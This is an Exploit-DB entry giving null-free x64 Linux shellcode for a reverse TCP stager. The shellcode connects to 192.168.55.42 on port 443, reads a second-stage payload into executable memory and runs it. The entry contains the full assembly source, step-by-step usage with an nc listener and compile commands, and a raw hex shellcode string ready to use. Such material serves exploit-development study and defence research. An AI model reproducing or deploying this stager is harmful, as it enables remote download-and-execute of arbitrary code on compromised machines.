Linux/x64 - Reverse (192.168.55.42:443/TCP) Shell + Stager + Null-Free Shellcode (188 bytes)

EDB-ID:

47784

CVE:

N/A




Platform:

Linux_x86-64

Date:

2019-12-17


;# Title: Linux/x64 - Reverse TCP Stager Shellcode (188 bytes)
;# Date: 2019-12-16
;# Author: Lee Mazzoleni
;# Tested on: Ubuntu 18.04.2 LTS
; reverse tcp stager - download and execute up to 4096 bytes of additional payload - no null bytes in this
; this code is 188 bytes total (less if you delete the exit() syscall at the end)

global _start

section .text
_start:

        ;// =================>
        ;// HEAP ALLOCATION =>
        ;// =================>
        xor rax, rax
        mov al, 6
        mov cl, 2
        imul ax, cx                     ;// int brk()
        xor rdi, rdi
        syscall                         ;// brk()
        xor rax, rax
        mov al, 2
        mov cl, 6
        imul ax, cx
        xor rdi, rdi
        mov dil, 128
        imul di, 32
        syscall                         ;// brk(0x1000) - 4096 bytes
        xchg rcx, rax                   ;// save addr of our allocated memory in rcx

        ;//=======================>
        ;// MAP HEAP PERMISSIONS =>
        ;//=======================>
        xor rax, rax
        mov al, 9
        xchg rdi, rcx
        xor rsi, rsi
        mov sil, 128
        imul si, 32
        xor rdx, rdx
        mov dl, 0x7
        xor r10, r10
        mov r10b, 0x21
        xor r9, r9
        mov r8, -1
        syscall                         ;// mmap(addr, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0)
        mov r9, rax                     ;// save heap address in r9

        ;// ===================>
        ;// SOCKET CONNECTION =>
        ;// ===================>
        xor rax, rax
        mov al, 41                      ;// int socket()
        xor rdi, rdi
        inc rdi
        inc rdi                         ;// AF_INET
        xor rsi, rsi
        inc rsi                         ;// SOCK_STREAM
        xor rdx, rdx
        mov dl, 6                       ;// IPPROTO_TCP
        syscall                         ;// socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)
        push rax
        pop rdi                         ;// save the socket's fd in rdi for connect() to use

        xor rax, rax
        push rax
        mov dword [rsp-4], 0x2a37a8c0   ;// 192.168.55.42
        mov word [rsp-6], 0xbb01        ;// port 443 in lil' endian
        sub rsp, 6
        push word 0x2

        xor rax, rax
        mov al, 42                      ;// int connect()
        mov rsi, rsp
        xor rdx, rdx
        mov dl, 16
        syscall                         ;// connect(3, {sa_family=AF_INET, sin_port=htons(443), sin_addr=inet_addr("192.168.55.42")}, 16)

        ;// ====================================>
        ;// READ CODE FROM SOCKET FD INTO HEAP =>
        ;// ====================================>
        mov rsi, r9                     ;// heap addr still saved in r9
        xor rdx, rdx
        mov dl, 41                      ;// CHANGE THIS NUMBER TO SUIT THE SIZE OF YOUR PAYLOAD (41-byte payload used in testing)
        xor rax, rax
        syscall                         ;// read(3, heap_addr, SIZE)

        ;// =================>
        ;// CLOSE SOCKET FD =>
        ;// =================>
        xor rax, rax
        mov al, 3
        syscall                         ;// close(3)

        jmp r9                          ;// jmp to the heap address in r9 and execute the downloaded payload

        ;// =========>
        ;// EXIT(0) => this bit is unnecessary if your payload already calls exit()
        ;// =========>
        xor rax, rax
        mov al, 60
        xor rdi, rdi
        syscall


; ===============>
; ===== Usage ===>
; ===============>
; =========================================================================================
; this program downloads a secondary payload from a remote host, and executes it.
; in this example, the payload used will be a simple hello-world-like program (hello.asm):
; =========================================================================================
; global _start
; section .text
; _start:
;	mov rax, 1
;	mov rdi, 1
;	mov rsi, 0x0a21216f6c6c6548	; "Hello!!\n"
;	push rsi
;	mov rsi, rsp
;	mov rdx, 8
;	syscall
;	mov rax, 60
;	xor rdi, rdi
;	syscall
; =========================================================================================
; 1.) compile your payload:
; -----------------------------------------------------------------------------------------
; nasm -f elf64 hello.asm -o hello.o && ld hello.o -o hello && rm hello.o
; =========================================================================================
; 2.) retrieve the opcodes for the payload:
; -----------------------------------------------------------------------------------------
; objdump -d hello|grep -v '^$\|start>\|file format\|Disassembly'|cut -d' ' -f2-9|sed -E "s/\ [0-9a-f]{6}://g"|grep -Eo '[a-f0-9]{2}'|tr -d '\n' ; echo
; b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05
; =========================================================================================
; 3.) count how many bytes are in your payload (41 bytes) and update line 86 to reflect this:
; -----------------------------------------------------------------------------------------
; echo b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05|grep -Eo '[a-f0-9]{2}'|wc -l
; 41
; =========================================================================================
; 4.) decode the bytes into raw form and serve it via netcat listener:
; -----------------------------------------------------------------------------------------
; echo -n b801000000bf0100000048be48656c6c6f21210a564889e6ba080000000f05b83c0000004831ff0f05 | xxd -r -p > payload
; nc -lvp 443 < payload
; listening on [any] 443 ...
; =========================================================================================
; 5.) one last step before compiling this stager, add your own IP address to line 69:
; -----------------------------------------------------------------------------------------
; import struct, socket
; print(hex(struct.unpack('<L', socket.inet_aton('192.168.55.42'))[0]))
; 0x2a37a8c0
; =========================================================================================
; 6.) compile and run this shellcode - it will connect to your netcat listener, download & exec the raw payload
; -----------------------------------------------------------------------------------------
; nasm -f elf64 stager.asm -o stager.o && ld stager.o -o stager && rm stager.o
; ./stager
;  Hello!!
; =========================================================================================


; Raw paste:
; 4831c0b006b102660fafc14831ff0f054831c0b002b106660fafc14831ff40b780666bff200f0548914831c0b0094887f94831f640b680666bf6204831d2b2074d31d241b2214d31c949c7c0ffffffff0f054989c14831c0b0294831ff48ffc748ffc74831f648ffc64831d2b2060f05505f4831c050c74424fcc0a8372a66c74424fa01bb4883ec06666a024831c0b02a4889e64831d2b2100f054c89ce4831d2b2294831c00f054831c0b0030f0541ffe14831c0b03c4831ff0f05